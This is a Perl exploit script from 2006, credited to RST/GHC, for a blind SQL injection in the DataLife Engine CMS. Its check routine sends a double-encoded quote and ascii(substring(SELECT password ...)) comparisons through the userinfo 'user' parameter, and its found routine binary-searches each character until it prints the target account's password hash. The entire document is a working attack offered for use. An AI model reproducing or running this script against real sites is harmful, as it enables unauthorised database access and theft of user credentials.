## DataLife Engine sql injection exploit by RST/GHC
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru
## 18.06.06

use LWP::UserAgent;
use Getopt::Std;

getopts('u:n:p:');

$url = $opt_u;
$name = $opt_n;
$prefix = $opt_p || 'dle_';

if(!$url || !$name) { &usage; }

$s_num = 1;
$|++;
$n = 0;
&head;
print "\r\n";
print " [~] URL : $url\r\n";
print " [~] USERNAME : $name\r\n";
print " [~] PREFIX : $prefix\r\n";
$userid = 0;
print " [~] GET USERID FOR USER \"$name\" ...";
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name);
if($res->as_string =~ /do=lastcomments&userid=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=pm&doaction=newpm&user=(\d*)/) { $userid = $1; }
elsif($res->as_string =~ /do=feedback&user=(\d*)/) { $userid = $1; }
if($userid != 0 ) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }
print " [~] USERID : $userid\r\n";

print " [~] SEARCHING PASSWORD ... ";

while(1)
{
if(&found(47,58)==0) { &found(96,103); }
$char = $i;
if ($char=="0")
{
if(length($allchar) > 0){
print qq{\b [ DONE ]
---------------------------------------------------------------
USERNAME : $name
USERID : $userid
PASSHASH : $allchar
---------------------------------------------------------------
};
}
else
{
print "\b[ FAILED ]";
}
exit();
}
else
{
$allchar .= chr($char);
print "\b".chr($char)." ";
}
$s_num++;
}

sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
if (($fmax-$fmin)<5) { $i=crack($fmin,$fmax); return $i; }

$r = int($fmax - ($fmax-$fmin)/2);
$check = "/**/BETWEEN/**/$r/**/AND/**/$fmax";
if ( &check($check) ) { &found($r,$fmax); }
else { &found($fmin,$r); }
}

sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
while ($i<$cmax)
{
$crcheck = "=$i";
if ( &check($crcheck) ) { return $i; }
$i++;
}
$i = 0;
return $i;
}

sub check($)
{
$n++;
status();
$ccheck = $_[0];
$xpl = LWP::UserAgent->new() or die;
$res = $xpl->get($url.'?subaction=userinfo&user='.$name.'%2527 and ascii(substring((SELECT password FROM '.$prefix.'users WHERE user_id='.$userid.'),'.$s_num.',1))'.$ccheck.'/*');
if($res->as_string =~ /$name<\/td>/) { return 1; }
else { return 0; }
}

sub status()
{
$status = $n % 5;
if($status==0){ print "\b/"; }
if($status==1){ print "\b-"; }
if($status==2){ print "\b\\"; }
if($status==3){ print "\b|"; }
}